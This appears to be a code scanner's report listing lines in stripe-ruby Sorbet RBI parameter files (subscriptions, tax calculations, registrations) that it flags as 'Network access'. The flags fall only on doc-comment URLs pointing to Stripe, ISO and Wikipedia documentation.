end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 533
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 536
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 537
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 538
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 548
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the - Network accessline 549
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s - Network accessline 550
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 593
} def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's - Network accessline 594
def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` - Network accessline 595
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k - Network accessline 610
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 611
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. sig { returns(T.nilable(SubscriptionScheduleUpdateParams::Phase::Item::PriceData)) } - Network accessline 612
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 622
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates - Network accessline 623
def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_ta - Network accessline 624
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 664
} def add_invoice_items=(_add_invoice_items); end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the appl - Network accessline 665
def add_invoice_items=(_add_invoice_items); end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application - Network accessline 666
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 676
} def automatic_tax=(_automatic_tax); end # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a tr - Network accessline 677
def automatic_tax=(_automatic_tax); end # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For - Network accessline 678
# Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu - Network accessline 695
sig { params(_collection_method: T.nilable(String)).returns(T.nilable(String)) } def collection_method=(_collection_method); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 696
def collection_method=(_collection_method); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { return - Network accessline 697
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 705
sig { params(_default_payment_method: T.nilable(String)).returns(T.nilable(String)) } def default_payment_method=(_default_payment_method); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates w - Network accessline 706
def default_payment_method=(_default_payment_method); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/c - Network accessline 707
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w - Network accessline 754
} def items=(_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is ent - Network accessline 755
def items=(_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, ad - Network accessline 756
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex - Network accessline 766
sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) } def on_behalf_of=(_on_behalf_of); end # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscripti - Network accessline 767
def on_behalf_of=(_on_behalf_of); end # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billi - Network accessline 768
# Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re - Network accessline 842
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 843
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 844
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_search_params.rbi
- Network accessline 20
sig { params(_page: T.nilable(String)).returns(T.nilable(String)) } def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query - Network accessline 21
def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for subscriptions](https://docs.stripe.com/search#query-fields-fo - Network accessline 22
# The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for subscriptions](https://docs.stripe.com/search#query-fields-for-subscriptions).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_update_params.rbi
- Network accessline 76
end class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 77
class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns( - Network accessline 78
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 81
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 82
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 83
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 86
sig { params(_product: String).returns(String) } def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior- - Network accessline 87
def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setting - Network accessline 88
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 119
} def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 120
def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 121
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 138
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 139
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { returns(T.nilable(SubscriptionUpdateParams::AddInvoiceItem::Price - Network accessline 140
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 293
class Item < ::Stripe::RequestParams class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet - Network accessline 294
class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.str - Network accessline 295
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 337
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencie - Network accessline 338
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 339
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 342
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 343
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 344
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 354
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stri - Network accessline 355
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set - Network accessline 356
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 410
sig { params(_id: T.nilable(String)).returns(T.nilable(String)) } def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional inf - Network accessline 411
def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be - Network accessline 412
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 427
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 428
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { returns(T.nilable(SubscriptionUpdateParams::Item::PriceData)) } - Network accessline 429
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 439
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](h - Network accessline 440
def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_ - Network accessline 441
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 553
sig { params(_network: T.nilable(String)).returns(T.nilable(String)) } def network=(_network); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based o - Network accessline 554
def network=(_network); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-aut - Network accessline 555
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 796
} def payment_method_options=(_payment_method_options); end # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by loo - Network accessline 797
def payment_method_options=(_payment_method_options); end # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at - Network accessline 798
# The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default - Network accessline 872
} def add_invoice_items=(_add_invoice_items); end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the applicat - Network accessline 873
def add_invoice_items=(_add_invoice_items); end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application ow - Network accessline 874
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 886
} def automatic_tax=(_automatic_tax); end # Either `now` or `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to the current time (in UTC). For more information, see the billing cycle [documentat - Network accessline 887
def automatic_tax=(_automatic_tax); end # Either `now` or `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to the current time (in UTC). For more information, see the billing cycle [documentation](h - Network accessline 888
# Either `now` or `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to the current time (in UTC). For more information, see the billing cycle [documentation](https://docs.stripe.com/billing/subscriptions - Network accessline 927
sig { params(_days_until_due: T.nilable(Integer)).returns(T.nilable(Integer)) } def days_until_due=(_days_until_due); end # ID of the default payment method for the subscription. It must belong to the customer associated with the su - Network accessline 928
def days_until_due=(_days_until_due); end # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoice - Network accessline 929
# ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de - Network accessline 932
sig { params(_default_payment_method: T.nilable(String)).returns(T.nilable(String)) } def default_payment_method=(_default_payment_method); end # ID of the default payment source for the subscription. It must belong to the customer - Network accessline 933
def default_payment_method=(_default_payment_method); end # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` - Network accessline 934
# ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I - Network accessline 975
} def items=(_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k - Network accessline 976
def items=(_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys ca - Network accessline 977
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 992
sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) } def on_behalf_of=(_on_behalf_of); end # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unc - Network accessline 993
def on_behalf_of=(_on_behalf_of); end # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection - Network accessline 994
# If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection](https://docs.stripe.com/billing/subscrip - Network accessline 999
} def pause_collection=(_pause_collection); end # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user acti - Network accessline 1000
def pause_collection=(_pause_collection); end # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions ar - Network accessline 1001
# Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam - Network accessline 1002
# # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user - Network accessline 1003
# Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio - Network accessline 1004
# # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi - Network accessline 1005
# Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd - Network accessline 1006
# # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is - Network accessline 1007
# Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede - Network accessline 1017
} def payment_settings=(_payment_settings); end # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given su - Network accessline 1018
def payment_settings=(_payment_settings); end # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscrip - Network accessline 1019
# Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval. - Network accessline 1024
} def pending_invoice_item_interval=(_pending_invoice_item_interval); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, - Network accessline 1025
def pending_invoice_item_interval=(_pending_invoice_item_interval); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resett - Network accessline 1026
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant - Network accessline 1029
sig { params(_proration_behavior: T.nilable(String)).returns(T.nilable(String)) } def proration_behavior=(_proration_behavior); end # If set, prorations will be calculated as though the subscription was updated at the given time. Th - Network accessline 1030
def proration_behavior=(_proration_behavior); end # If set, prorations will be calculated as though the subscription was updated at the given time. This can be used to apply exactly the same prorations that were previewed with the [crea - Network accessline 1031
# If set, prorations will be calculated as though the subscription was updated at the given time. This can be used to apply exactly the same prorations that were previewed with the [create preview](https://stripe.com/docs/api/invoices/creat - Network accessline 1048
} def trial_end=(_trial_end); end # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` togeth - Network accessline 1049
def trial_end=(_trial_end); end # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together wit - Network accessline 1050
# Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/association_find_params.rbi
- Network accessline 11
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Valid [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) id - Network accessline 12
def expand=(_expand); end # Valid [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) id sig { returns(String) } - Network accessline 13
# Valid [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) id
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/calculation_create_params.rbi
- Network accessline 13
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 14
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 15
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 33
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region. We recommend sending [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_316 - Network accessline 34
def postal_code=(_postal_code); end # State, county, province, or region. We recommend sending [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code value when possible. sig { returns(T.nilable(String)) - Network accessline 35
# State, county, province, or region. We recommend sending [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code value when possible. - Network accessline 105
end class LineItem < ::Stripe::RequestParams # A positive integer representing the line item's total price in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 106
class LineItem < ::Stripe::RequestParams # A positive integer representing the line item's total price in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). # If `tax_behavior=inclusive`, then thi - Network accessline 107
# A positive integer representing the line item's total price in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 111
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional informa - Network accessline 112
def amount=(_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig - Network accessline 113
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 128
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # A custom identifier for this line item, which must be unique across the line items in the calculation. The reference h - Network accessline 129
def quantity=(_quantity); end # A custom identifier for this line item, which must be unique across the line items in the calculation. The reference helps identify each line item in exported [tax reports](https://docs.stripe.com/tax - Network accessline 130
# A custom identifier for this line item, which must be unique across the line items in the calculation. The reference helps identify each line item in exported [tax reports](https://docs.stripe.com/tax/reports). - Network accessline 138
sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) } def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID to use for this line item. If not provided, we w - Network accessline 139
def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID to use for this line item. If not provided, we will use the tax code from the provided `product` param. If neither `tax_code` nor `p - Network accessline 140
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID to use for this line item. If not provided, we will use the tax code from the provided `product` param. If neither `tax_code` nor `product` is provided, we will use the default t - Network accessline 163
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 164
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 165
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 183
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without count - Network accessline 184
def postal_code=(_postal_code); end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". sig { returns(T.nilable(String)) } - Network accessline 185
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 211
end class ShippingCost < ::Stripe::RequestParams # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing the shipping charge. If `tax_behavior=inclusive`, then this am - Network accessline 212
class ShippingCost < ::Stripe::RequestParams # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing the shipping charge. If `tax_behavior=inclusive`, then this amount inclu - Network accessline 213
# A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing the shipping charge. If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes are calculated on top of - Network accessline 216
sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def amount=(_amount); end # If provided, the [shipping rate](https://docs.stripe.com/api/shipping_rates/object)'s `amount`, `tax_code` and `tax_behavior - Network accessline 217
def amount=(_amount); end # If provided, the [shipping rate](https://docs.stripe.com/api/shipping_rates/object)'s `amount`, `tax_code` and `tax_behavior` are used. If you provide a shipping rate, then you cannot pass the `amount`, ` - Network accessline 218
# If provided, the [shipping rate](https://docs.stripe.com/api/shipping_rates/object)'s `amount`, `tax_code` and `tax_behavior` are used. If you provide a shipping rate, then you cannot pass the `amount`, `tax_code`, or `tax_behavior` param - Network accessline 226
sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) } def tax_behavior=(_tax_behavior); end # The [tax code](https://docs.stripe.com/tax/tax-categories) used to calculate tax on shipping. If not provide - Network accessline 227
def tax_behavior=(_tax_behavior); end # The [tax code](https://docs.stripe.com/tax/tax-categories) used to calculate tax on shipping. If not provided, the default shipping tax code from your [Tax Settings](https://dashboard.stripe.c - Network accessline 228
# The [tax code](https://docs.stripe.com/tax/tax-categories) used to calculate tax on shipping. If not provided, the default shipping tax code from your [Tax Settings](https://dashboard.stripe.com/settings/tax) is used. - Network accessline 236
def initialize(amount: nil, shipping_rate: nil, tax_behavior: nil, tax_code: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https: - Network accessline 237
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 238
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/registration_create_params.rbi
- Network accessline 423
class Ca < ::Stripe::RequestParams class ProvinceStandard < ::Stripe::RequestParams # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 424
class ProvinceStandard < ::Stripe::RequestParams # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(String) } - Network accessline 425
# Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1838
class Us < ::Stripe::RequestParams class LocalAmusementTax < ::Stripe::RequestParams # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS co - Network accessline 1839
class LocalAmusementTax < ::Stripe::RequestParams # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago), `02154` (Arlingto - Network accessline 1840
